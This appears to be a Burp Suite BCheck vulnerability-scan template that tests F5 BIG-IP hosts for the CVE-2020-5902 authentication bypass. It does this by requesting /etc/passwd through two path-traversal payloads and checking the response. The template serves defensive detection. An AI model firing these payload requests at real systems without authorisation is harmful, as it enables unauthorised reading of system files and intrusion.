CVE-2020-5902 F5 Networks Authentication Bypass.bcheck

metadata:
    language: v1-beta
    name: "CVE-2020-5902 F5 Networks Authentication Bypass"
    description: "Checks for CVE-2020-5902"
    author: "Ollie Whitehouse"
    tags: "CVE-2020-5902 CVE"

run for each:
    potential_path =
        "tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd",
        "hsqldb;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"

given host then
    send request called check:
        method: "GET"
        path: {potential_path}

		# Checks that we get a 200 AND that the output we expect in the result
		if {check.response.status_code} is "200" and "root:" in {check.response.body} then
			report issue:
				severity: high
				confidence: certain
				detail: "Host is vulnerable to the authentication bypass vulnerability CVE-2020-5902"
				remediation: "Patch to a non vulnerable version"
		end if